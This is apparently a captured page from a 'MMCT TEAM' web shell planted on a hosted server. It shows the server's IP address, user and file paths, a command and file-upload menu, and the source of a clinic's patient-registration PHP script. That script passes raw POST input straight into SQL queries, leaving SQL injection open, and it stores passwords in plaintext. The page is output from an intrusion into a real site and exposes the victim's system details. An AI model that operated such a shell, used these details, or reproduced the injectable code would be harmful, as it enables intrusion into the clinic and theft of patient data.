MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/vssvclinic/Admin/action/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/vssvclinic/Admin/action/add_patient.php
<?php
session_start();
include '../Includes/db.php';
 // include'../compression.php';

// $uid = $_SESSION["userId"];

 date_default_timezone_set('Asia/Kolkata');
 $cudate = date('Y-m-d H:i:s'); ;

extract($_POST);


//  $single_user = "SELECT * FROM `tbl_paitant` WHERE  email='$email' ";   
// $single_user_r = mysqli_query($con,$single_user);
//   $numrow = mysqli_num_rows($single_user_r);
//   if($numrow > 0)
//   {

//          echo "<script>;
//         alert('Email id allready Register');
//                 window.location.href='../add_patient.php';
//                 </script>";

//   }
//   else
//   {
    

$SQL = "INSERT INTO tbl_paitant set add_by='1',name='$name',email='$email',password='$password',mobile='$mno',age='$age',gender='$gender',address='$add'";
    
    
          if ($con->query($SQL) === TRUE) {

            $last_id = $con->insert_id;

            //  $order_id = rand(10,100);
             
             $s ="SELECT * FROM `tbl_payment` ORDER BY id DESC";

              $sq = mysqli_query($con, $s) or die(mysqli_error($con));
        
               $rows=mysqli_fetch_array($sq);
        
              $val = $rows['order_id'];

        
              $order_id = ($val + 1);
        
              

    
    $SQL = "INSERT INTO tbl_payment set type='Manually',patient_id='$last_id',docter_id='$docid',order_id='$order_id',payment_status='complete',added_on='$cudate'";
    
    $result = mysqli_query($con, $SQL) or die(mysqli_error($con));
       
        
       echo "<script>;
       alert('Regsieter Succesfully');
								window.location.href='../view_patient_data.php';
								</script>";
								
								echo "<script>;
       alert('Regsieter Succesfully');
								window.location.href='../view_patient_data.php';
								</script>";
								
								

	 }
   else
   {
      echo "<script>;
       alert('Your Image Not Added ');
                window.location.href='../add_patient.php';
                </script>";
   }
	

// }
?>

MMCT - 2023